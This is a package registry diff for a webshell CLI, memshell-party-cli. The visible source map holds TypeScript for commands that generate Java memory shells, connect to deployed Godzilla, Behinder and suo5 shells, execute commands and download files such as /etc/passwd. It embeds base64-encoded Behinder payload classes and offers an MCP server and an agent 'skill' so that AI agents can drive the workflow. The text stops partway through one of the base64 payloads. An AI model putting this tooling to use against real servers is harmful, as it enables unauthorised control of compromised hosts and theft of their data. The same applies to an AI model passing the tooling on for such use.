memshell-party-cli 0.7.0 → 0.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +70 -11
- package/README.md +36 -2
- package/dist/cli.js +1095 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +122 -11
- package/dist/index.js +1207 -212
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +547 -494
package/dist/cli.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/cli.ts","../src/api/client.ts","../src/core/config.ts","../src/cli-context.ts","../src/commands/config.ts","../src/commands/connect.ts","../src/connect/assets.ts","../src/connect/classfile.ts","../src/connect/crypto.ts","../src/connect/http.ts","../src/connect/types.ts","../src/connect/behinder.ts","../src/connect/godzilla.ts","../src/connect/suo5.ts","../src/connect/mimic.ts","../src/core/site-profile.ts","../src/connect/mimic-codecs.ts","../src/connect/mimic-shared.ts","../src/connect/registry.ts","../src/core/oplog.ts","../src/core/targets.ts","../src/commands/custom.ts","../src/custom/build.ts","../src/core/jdk.ts","../src/custom/java-template.ts","../src/custom/javac.ts","../src/connect/mimic-server.ts","../src/commands/demo.ts","../src/commands/exec.ts","../src/commands/gen.ts","../src/core/output.ts","../src/core/request-builder.ts","../src/wizard/memshell-wizard.ts","../src/commands/log.ts","../src/mcp/server.ts","../src/core/localfile.ts","../src/version.ts","../src/commands/mcp.ts","../src/commands/parse-classname.ts","../src/commands/probe.ts","../src/wizard/probe-wizard.ts","../src/commands/profile.ts","../src/commands/skill.ts","../src/core/skill-install.ts","../src/commands/target.ts","../src/commands/transfer.ts","../src/commands/version.ts","../src/repl.ts"],"sourcesContent":["import { Command, CommanderError } from \"commander\";\r\n\r\nimport { ApiError } from \"./api/client.js\";\r\nimport { reportError } from \"./cli-context.js\";\r\nimport { registerConfigCommand } from \"./commands/config.js\";\r\nimport { registerConnectCommand } from \"./commands/connect.js\";\r\nimport { registerCustomCommand } from \"./commands/custom.js\";\r\nimport { registerDemoCommand } from \"./commands/demo.js\";\r\nimport { registerExecCommand } from \"./commands/exec.js\";\r\nimport { registerGenCommand } from \"./commands/gen.js\";\r\nimport { registerLogCommand } from \"./commands/log.js\";\r\nimport { registerMcpCommand } from \"./commands/mcp.js\";\r\nimport { registerParseClassNameCommand } from \"./commands/parse-classname.js\";\r\nimport { registerProbeCommand } from \"./commands/probe.js\";\r\nimport { registerProfileCommand } from \"./commands/profile.js\";\r\nimport { registerSkillCommand } from \"./commands/skill.js\";\r\nimport { registerTargetCommand } from \"./commands/target.js\";\r\nimport { registerDownloadCommand, registerUploadCommand } from \"./commands/transfer.js\";\r\nimport { registerVersionCommand } from \"./commands/version.js\";\r\nimport { DEFAULT_API_URL, ENV_VAR } from \"./core/config.js\";\r\nimport { startRepl } from \"./repl.js\";\r\nimport { CLI_VERSION } from \"./version.js\";\r\n\r\nfunction buildProgram(): Command {\r\n const program = new Command();\r\n\r\n program\r\n .name(\"memparty\")\r\n .description(\"CLI + MCP client for MemShellParty (party.mem.mk)\")\r\n .version(CLI_VERSION, \"-v, --version\", \"output the CLI version\")\r\n .option(\r\n \"--api <url>\",\r\n `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`,\r\n )\r\n .option(\"--timeout <ms>\", \"request timeout in milliseconds\", \"30000\")\r\n .exitOverride() // throw instead of process.exit — needed by the REPL and the JSON error path\r\n .addHelpText(\r\n \"after\",\r\n `\r\nQuick start:\r\n $ memparty gen # interactive memory-shell wizard\r\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class\r\n $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token\r\n $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect\r\n $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd\r\n $ memparty list # saved targets\r\n $ memparty log # recent operations\r\n\r\nSite-mimicking (mimic) flow:\r\n $ memparty skill install # teach your agent this workflow\r\n $ memparty profile init acme --site http://192.0.2.1:8080 # then write the profile\r\n $ memparty custom build --profile acme --server Tomcat # -> injectable payload\r\n $ memparty demo # local end-to-end walkthrough\r\n\r\nEvery subcommand has its own examples: memparty <command> --help\r\n`,\r\n );\r\n\r\n registerGenCommand(program);\r\n registerProbeCommand(program);\r\n registerConfigCommand(program);\r\n registerConnectCommand(program);\r\n registerExecCommand(program);\r\n registerDownloadCommand(program);\r\n registerUploadCommand(program);\r\n registerTargetCommand(program);\r\n registerLogCommand(program);\r\n registerParseClassNameCommand(program);\r\n registerProfileCommand(program);\r\n registerSkillCommand(program);\r\n registerCustomCommand(program);\r\n registerDemoCommand(program);\r\n registerVersionCommand(program);\r\n registerMcpCommand(program);\r\n\r\n return program;\r\n}\r\n\r\nasync function main(): Promise<void> {\r\n // bare `memparty` in a terminal drops into the REPL; piped/CI keeps printing help\r\n if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {\r\n await startRepl(buildProgram);\r\n return;\r\n }\r\n\r\n const program = buildProgram();\r\n try {\r\n await program.parseAsync(process.argv);\r\n } catch (err) {\r\n // Set exitCode rather than calling process.exit(): an abrupt exit while\r\n // undici's (global fetch) keep-alive socket is still open trips a libuv\r\n // assertion on Windows. Letting the event loop drain avoids the crash.\r\n if (err instanceof CommanderError) {\r\n // exitOverride: commander already printed help/usage/version; keep its exit code\r\n process.exitCode = err.exitCode;\r\n } else if (err instanceof ApiError) {\r\n reportError(`API error (${err.status || \"network\"}): ${err.message}`, process.argv);\r\n process.exitCode = 1;\r\n } else if (err instanceof Error) {\r\n // Inquirer throws this when the user aborts with Ctrl-C.\r\n if (err.name === \"ExitPromptError\") {\r\n process.stderr.write(\"\\nAborted.\\n\");\r\n process.exitCode = 130;\r\n } else {\r\n reportError(err.message, process.argv);\r\n process.exitCode = 1;\r\n }\r\n } else {\r\n reportError(String(err), process.argv);\r\n process.exitCode = 1;\r\n }\r\n }\r\n}\r\n\r\nvoid main();\r\n","import type {\n ApiErrorResponse,\n CommandConfigVO,\n MainConfig,\n MemShellGenerateRequest,\n MemShellGenerateResponse,\n PackerTree,\n ProbeShellGenerateRequest,\n ProbeShellGenerateResponse,\n ServerConfig,\n VersionInfo,\n} from \"./types.js\";\n\nexport type FetchLike = typeof fetch;\n\n/** Error thrown when the API responds with a non-2xx status. */\nexport class ApiError extends Error {\n constructor(\n message: string,\n readonly status: number,\n readonly url: string,\n ) {\n super(message);\n this.name = \"ApiError\";\n }\n}\n\nexport interface MemPartyClientOptions {\n /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */\n baseUrl: string;\n /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */\n fetch?: FetchLike;\n /** Per-request timeout in milliseconds. Default 30000. */\n timeoutMs?: number;\n}\n\n/**\n * Typed client for the MemShellParty HTTP API.\n * Knows nothing about the CLI or MCP — it is a pure transport layer so every\n * entrypoint (flags, wizard, MCP) can share it.\n */\nexport class MemPartyClient {\n private readonly baseUrl: string;\n private readonly fetchImpl: FetchLike;\n private readonly timeoutMs: number;\n\n constructor(options: MemPartyClientOptions) {\n this.baseUrl = options.baseUrl.replace(/\\/+$/, \"\");\n this.fetchImpl = options.fetch ?? globalThis.fetch;\n this.timeoutMs = options.timeoutMs ?? 30_000;\n if (typeof this.fetchImpl !== \"function\") {\n throw new Error(\n \"No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.\",\n );\n }\n }\n\n // ---------- config ----------\n\n getServers(): Promise<ServerConfig> {\n return this.request<ServerConfig>(\"GET\", \"/api/config/servers\");\n }\n\n getConfig(): Promise<MainConfig> {\n return this.request<MainConfig>(\"GET\", \"/api/config\");\n }\n\n getPackerTree(): Promise<PackerTree> {\n return this.request<PackerTree>(\"GET\", \"/api/config/packers/tree\");\n }\n\n getPackers(): Promise<string[]> {\n return this.request<string[]>(\"GET\", \"/api/config/packers\");\n }\n\n getCommandConfigs(): Promise<CommandConfigVO> {\n return this.request<CommandConfigVO>(\"GET\", \"/api/config/command/configs\");\n }\n\n /**\n * Servers the ResponseBody probe can write a response on.\n * Only exists on backend >= 2.9.0 — callers should fall back to the full\n * server list when this endpoint 404s.\n */\n getProbeResponseBodyServers(): Promise<string[]> {\n return this.request<string[]>(\"GET\", \"/api/config/probe/response-body/servers\");\n }\n\n getVersion(): Promise<VersionInfo> {\n return this.request<VersionInfo>(\"GET\", \"/api/version\");\n }\n\n // ---------- generation ----------\n\n generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse> {\n return this.request<MemShellGenerateResponse>(\"POST\", \"/api/memshell/generate\", {\n json: req,\n });\n }\n\n generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse> {\n return this.request<ProbeShellGenerateResponse>(\"POST\", \"/api/probe/generate\", {\n json: req,\n });\n }\n\n /** Parse a fully-qualified class name from a base64-encoded .class file. */\n parseClassName(classBase64: string): Promise<string> {\n return this.request<string>(\"POST\", \"/api/className\", {\n text: classBase64,\n raw: true,\n });\n }\n\n // ---------- transport ----------\n\n private async request<T>(\n method: string,\n path: string,\n opts: { json?: unknown; text?: string; raw?: boolean } = {},\n ): Promise<T> {\n const url = `${this.baseUrl}${path}`;\n const headers: Record<string, string> = {};\n let body: string | undefined;\n\n if (opts.json !== undefined) {\n headers[\"Content-Type\"] = \"application/json\";\n body = JSON.stringify(opts.json);\n } else if (opts.text !== undefined) {\n headers[\"Content-Type\"] = \"text/plain\";\n body = opts.text;\n }\n\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), this.timeoutMs);\n\n let response: Response;\n try {\n response = await this.fetchImpl(url, {\n method,\n headers,\n body,\n signal: controller.signal,\n });\n } catch (err) {\n if (err instanceof Error && err.name === \"AbortError\") {\n throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url);\n }\n throw new ApiError(\n `Failed to reach ${url}: ${(err as Error).message}`,\n 0,\n url,\n );\n } finally {\n clearTimeout(timer);\n }\n\n const rawText = await response.text();\n\n if (!response.ok) {\n let message = rawText || response.statusText;\n try {\n const parsed = JSON.parse(rawText) as ApiErrorResponse;\n if (parsed?.error) message = parsed.error;\n } catch {\n // body was not JSON — keep raw text\n }\n throw new ApiError(message, response.status, url);\n }\n\n if (opts.raw) {\n return rawText as unknown as T;\n }\n if (rawText === \"\") {\n return undefined as unknown as T;\n }\n return JSON.parse(rawText) as T;\n }\n}\n","import { readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport const DEFAULT_API_URL = \"https://party.mem.mk\";\nexport const ENV_VAR = \"MEMPARTY_API_URL\";\n\nexport interface ResolveApiUrlInput {\n /** Value from the --api flag (highest priority). */\n flag?: string;\n /** Environment map (defaults to process.env). */\n env?: NodeJS.ProcessEnv;\n /** Home directory (defaults to os.homedir()). Injectable for tests. */\n home?: string;\n}\n\ninterface RcFile {\n apiUrl?: string;\n}\n\nfunction readRcFile(home: string): RcFile | undefined {\n const path = join(home, \".mempartyrc\");\n try {\n const raw = readFileSync(path, \"utf8\");\n return JSON.parse(raw) as RcFile;\n } catch {\n return undefined;\n }\n}\n\n/**\n * Resolve the API base URL by priority:\n * 1. --api flag\n * 2. MEMPARTY_API_URL env var\n * 3. ~/.mempartyrc { \"apiUrl\": \"...\" }\n * 4. default public site (https://party.mem.mk)\n */\nexport function resolveApiUrl(input: ResolveApiUrlInput = {}): string {\n const env = input.env ?? process.env;\n const home = input.home ?? homedir();\n\n const fromFlag = input.flag?.trim();\n if (fromFlag) return fromFlag;\n\n const fromEnv = env[ENV_VAR]?.trim();\n if (fromEnv) return fromEnv;\n\n const fromFile = readRcFile(home)?.apiUrl?.trim();\n if (fromFile) return fromFile;\n\n return DEFAULT_API_URL;\n}\n","import { MemPartyClient } from \"./api/client.js\";\nimport { resolveApiUrl } from \"./core/config.js\";\n\n/** Global options attached to every command via commander. */\nexport interface GlobalOptions {\n api?: string;\n timeout?: string;\n}\n\nexport function createClient(opts: GlobalOptions): MemPartyClient {\n const baseUrl = resolveApiUrl({ flag: opts.api });\n const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined;\n return new MemPartyClient({ baseUrl, timeoutMs });\n}\n\n/** Write a message to stderr. */\nexport function logError(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Write an informational message to stderr (keeps stdout clean for payloads). */\nexport function logInfo(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Report a fatal error; as JSON when --json is in argv, so agents can parse it. */\nexport function reportError(message: string, argv: string[]): void {\n if (argv.includes(\"--json\")) {\n process.stdout.write(`${JSON.stringify({ ok: false, error: message })}\\n`);\n } else {\n process.stderr.write(`Error: ${message}\\n`);\n }\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ConfigCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nfunction printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void {\n if (json) {\n process.stdout.write(`${JSON.stringify(data, null, 2)}\\n`);\n } else {\n process.stdout.write(`${renderLines().join(\"\\n\")}\\n`);\n }\n}\n\nexport function registerConfigCommand(program: Command): void {\n const config = program\n .command(\"config\")\n .description(\"Query supported servers, shell tools, shell types, and packers\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty config servers # servers + their shell types (values for gen -s)\n $ memparty config tools Tomcat # tools available on one server (values for gen -t)\n $ memparty config packers # packer tree (values for gen -p)\n $ memparty config command # Command-tool encryptors and impl classes\n`,\n );\n\n config\n .command(\"servers\")\n .description(\"List supported servers and their shell types\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const servers = await client.getServers();\n printJsonOrLines(servers, opts.json, () =>\n Object.entries(servers).map(([name, types]) => `${name}\\n ${types.join(\", \")}`),\n );\n });\n\n config\n .command(\"tools\")\n .description(\"List shell tools (and their shell types) per server\")\n .argument(\"[server]\", \"filter by a single server name\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const config = await client.getConfig();\n const filtered = server ? { [server]: config[server] ?? {} } : config;\n printJsonOrLines(filtered, opts.json, () =>\n Object.entries(filtered).flatMap(([name, tools]) => [\n name,\n ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(\", \")}`),\n ]),\n );\n });\n\n config\n .command(\"packers\")\n .description(\"List packers (parent / child tree)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const tree = await client.getPackerTree();\n printJsonOrLines(tree, opts.json, () =>\n tree.map((p) => (p.children.length ? `${p.name}\\n ${p.children.join(\", \")}` : p.name)),\n );\n });\n\n config\n .command(\"command\")\n .description(\"List Command-tool encryptors and implementation classes\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const cc = await client.getCommandConfigs();\n printJsonOrLines(cc, opts.json, () => [\n `encryptors: ${cc.encryptors.join(\", \")}`,\n `implementationClasses: ${cc.implementationClasses.join(\", \")}`,\n ]);\n });\n}\n","import { Command, Option } from \"commander\";\r\n\r\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\r\nimport { protocolNames, requireProtocol, type ProtocolOptions } from \"../connect/registry.js\";\r\nimport type { CommonConnectOptions, ConnectTestResult } from \"../connect/types.js\";\r\nimport { logOp } from \"../core/oplog.js\";\r\nimport { autoSaveShell, resolveConnection } from \"../core/targets.js\";\r\n\r\ninterface ConnectCmdOptions extends GlobalOptions {\r\n url?: string;\r\n tool?: string;\r\n pass?: string;\r\n key?: string;\r\n headerName?: string;\r\n headerValue?: string;\r\n header?: string[];\r\n suo5Mode?: ProtocolOptions[\"suo5Mode\"];\r\n profile?: string;\r\n dynamicPath?: boolean;\r\n insecure?: boolean;\r\n json?: boolean;\r\n save?: boolean;\r\n}\r\n\r\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\r\n const headers: Record<string, string> = {};\r\n for (const line of lines ?? []) {\r\n const idx = line.indexOf(\":\");\r\n if (idx <= 0) {\r\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\r\n }\r\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\r\n }\r\n return headers;\r\n}\r\n\r\nexport function registerConnectCommand(program: Command): void {\r\n program\r\n .command(\"connect\")\r\n .description(\r\n \"Test whether a deployed webshell is alive and the credentials work\",\r\n )\r\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\r\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\r\n .addOption(new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames()))\r\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\r\n .option(\"--key <key>\", \"godzilla/mimic key (default: key)\")\r\n .option(\r\n \"--header-name <name>\",\r\n \"gate header name reported by gen (shellToolConfig.headerName)\",\r\n )\r\n .option(\r\n \"--header-value <value>\",\r\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\r\n )\r\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\r\n .addOption(\r\n new Option(\"--suo5-mode <mode>\", \"suo5 protocol variant\")\r\n .choices([\"auto\", \"v2\", \"v1\"])\r\n .default(\"auto\"),\r\n )\r\n .option(\"--profile <name>\", \"mimic: site profile name (see 'memparty profile')\")\r\n .option(\"--dynamic-path\", \"mimic: randomize the request path from the site profile\")\r\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\r\n .option(\"--json\", \"output raw JSON\")\r\n .option(\"--no-save\", \"do not auto-save the target after a successful test\")\r\n .addHelpText(\r\n \"after\",\r\n `\r\nExamples:\r\n $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\r\n --header-value my-secret-token\r\n $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\r\n --header-value my-secret-token\r\n $ memparty connect -u http://target/suo5.jsp -t suo5\r\n $ memparty connect -u http://target/ -t mimic --pass pass --key key \\\\\r\n --profile target-site --dynamic-path\r\n $ memparty connect web222 # saved target, see 'memparty list'\r\n $ memparty connect -u https://target/shell.jsp -t godzilla -k --json\r\n\r\nNote: shells generated by MemShellParty check a gate header — copy\r\nshellToolConfig.headerName/headerValue from the \\`gen --json\\` output\r\n(default header name is \"User-Agent\"), or the shell stays silent.\r\nA successful test auto-saves the profile as <host>/<tool> (skip with\r\n--no-save); afterwards just pass the name. See 'memparty list',\r\n'memparty note' and 'memparty remove' to manage saved targets.\r\n`,\r\n )\r\n .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => {\r\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\r\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\r\n\r\n let conn;\r\n try {\r\n conn = resolveConnection(name, {\r\n url: opts.url,\r\n tool: opts.tool,\r\n pass: opts.pass,\r\n key: opts.key,\r\n headerName: opts.headerName,\r\n headerValue: opts.headerValue,\r\n extraHeaders: parseExtraHeaders(opts.header),\r\n insecure: opts.insecure,\r\n profile: opts.profile,\r\n });\r\n } catch (err) {\r\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n\r\n const common: CommonConnectOptions = {\r\n headerName: conn.headerName,\r\n headerValue: conn.headerValue,\r\n extraHeaders: conn.extraHeaders,\r\n timeoutMs,\r\n insecure: conn.insecure,\r\n };\r\n\r\n let result: ConnectTestResult;\r\n try {\r\n const protocol = requireProtocol(conn.tool);\r\n const options: ProtocolOptions = {\r\n suo5Mode: opts.suo5Mode,\r\n profile: conn.profile,\r\n dynamicPath: opts.dynamicPath,\r\n };\r\n result = await protocol.test({ conn, common, options });\r\n } catch (err) {\r\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n\r\n // a successful handshake proves the credentials — keep them as a named target\r\n let savedAs: string | undefined;\r\n if (result.ok && conn.targetName === undefined && opts.save !== false) {\r\n savedAs = autoSaveShell(conn);\r\n conn.targetName = savedAs;\r\n }\r\n\r\n logOp({\r\n category: \"connect\",\r\n action: \"connect\",\r\n targetName: conn.targetName,\r\n url: conn.url,\r\n tool: conn.tool,\r\n ok: result.ok,\r\n durationMs: result.durationMs,\r\n detail: result.detail,\r\n error: result.error,\r\n });\r\n\r\n if (opts.json) {\r\n process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\\n`);\r\n } else if (result.ok) {\r\n process.stdout.write(`OK ${result.tool} ${result.url}\\n ${result.detail ?? \"\"}\\n`);\r\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\r\n } else {\r\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\r\n }\r\n if (!result.ok) {\r\n process.exitCode = 1;\r\n }\r\n });\r\n}\r\n","/**\n * Embedded webshell payload templates, base64-encoded so the bundled CLI\n * stays self-contained (no runtime asset files to resolve).\n *\n * Regenerate from the binaries in src/connect/assets/ with:\n * node scratch/connect-work/gen-assets.cjs\n *\n * Source binaries live in src/connect/assets/:\n * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 —\n * the payload the Behinder client uploads for its echo/connect test.\n * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 —\n * the payload the Behinder client uploads for command execution (its\n * static `cmd` field is filled client-side before upload).\n * - FileOperation.class: net.rebeyond.behinder.payload.java.FileOperation\n * from Behinder v4.1 — the payload for file transfer (static fields\n * mode/path/content/blockIndex/blockSize filled client-side).\n * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from\n * godzilla.jar — the payload class uploaded on Godzilla connect.\n */\n\nconst ECHO_CLASS_B64 =\n \"yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA\" +\n \"vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi\" +\n \"AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe\" +\n \"CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA\" +\n \"8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK\" +\n \"AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0\" +\n \"AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i\" +\n \"ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F\" +\n \"Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0\" +\n \"aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh\" +\n \"cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T\" +\n \"dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j\" +\n \"cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv\" +\n \"cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv\" +\n \"TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0\" +\n \"cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM\" +\n \"amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7\" +\n \"KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2\" +\n \"NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl\" +\n \"cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG\" +\n \"cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls\" +\n \"L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1\" +\n \"dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV\" +\n \"DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA\" +\n \"EGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMM\" +\n \"AGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8v\" +\n \"Qnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEu\" +\n \"dmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIB\" +\n \"MwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApn\" +\n \"ZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNv\" +\n \"ZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9U\" +\n \"aHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRp\" +\n \"bC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRv\" +\n \"cgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xh\" +\n \"c3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNz\" +\n \"OylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9s\" +\n \"YW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcv\" +\n 